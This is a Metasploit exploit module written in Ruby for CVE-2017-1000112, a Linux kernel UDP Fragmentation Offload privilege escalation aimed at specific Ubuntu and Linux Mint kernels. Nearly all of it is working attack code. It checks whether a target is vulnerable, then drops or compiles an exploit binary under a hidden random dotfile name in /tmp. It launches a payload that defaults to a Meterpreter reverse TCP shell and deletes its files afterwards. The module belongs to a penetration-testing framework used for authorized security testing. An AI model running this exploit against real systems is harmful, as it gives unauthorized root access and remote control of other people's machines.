Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on Linux systems by abusing  
UDP Fragmentation Offload (UFO).  
  
This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels  
4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros  
based on Ubuntu, such as Linux Mint.  
  
The target system must have unprivileged user namespaces enabled  
and SMAP disabled.  
  
Bypasses for SMEP and KASLR are included. Failed exploitation  
may crash the kernel.  
  
This module has been tested successfully on various Ubuntu and Linux  
Mint systems, including:  
  
Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;  
Ubuntu 16.04 4.8.0-53-generic;  
Linux Mint 17.3 4.4.0-89-generic;  
Linux Mint 18 4.8.0-58-generic  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Andrey Konovalov', # Discovery and C exploit  
'h00die', # Metasploit module  
'Brendan Coles' # Metasploit module  
],  
'DisclosureDate' => 'Aug 10 2017',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' =>  
[  
[ 'CVE', '2017-1000112' ],  
[ 'EDB', '43418' ],  
[ 'BID', '100262' ],  
[ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ],  
[ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ],  
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ],  
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ],  
[ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ],  
[ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ],  
[ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ]  
],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },  
'DefaultTarget' => 0))  
register_options [  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
cmd_exec "chmod +x '#{path}'"  
end  
  
def upload_and_compile(path, data)  
upload "#{path}.c", data  
  
gcc_cmd = "gcc -o #{path} #{path}.c"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
output = cmd_exec gcc_cmd  
rm_f "#{path}.c"  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile"  
end  
  
cmd_exec "chmod +x #{path}"  
end  
  
def exploit_data(file)  
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file  
fd = ::File.open path, 'rb'  
data = fd.read fd.stat.size  
fd.close  
data  
end  
  
def live_compile?  
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')  
  
if has_gcc?  
vprint_good 'gcc is installed'  
return true  
end  
  
unless datastore['COMPILE'].eql? 'Auto'  
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'  
end  
end  
  
def check  
version = kernel_release  
unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ ||  
version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/  
vprint_error "Linux kernel version #{version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Linux kernel version #{version} is vulnerable"  
  
vprint_status 'Checking if SMAP is enabled ...'  
if smap_enabled?  
vprint_error 'SMAP is enabled'  
return CheckCode::Safe  
end  
vprint_good 'SMAP is not enabled'  
  
arch = kernel_hardware  
unless arch.include? 'x86_64'  
vprint_error "System architecture #{arch} is not supported"  
return CheckCode::Safe  
end  
vprint_good "System architecture #{arch} is supported"  
  
unless userns_enabled?  
vprint_error 'Unprivileged user namespaces are not permitted'  
return CheckCode::Safe  
end  
vprint_good 'Unprivileged user namespaces are permitted'  
  
CheckCode::Appears  
end  
  
def exploit  
unless check == CheckCode::Appears  
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload exploit executable  
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"  
executable_path = "#{base_dir}/#{executable_name}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile executable_path, exploit_data('exploit.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx executable_path, exploit_data('exploit.out')  
end  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Launching exploit ...'  
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}"  
output.each_line { |line| vprint_status line.chomp }  
print_status "Cleaning up #{payload_path} and #{executable_path} ..."  
rm_f executable_path  
rm_f payload_path  
end  
end  
`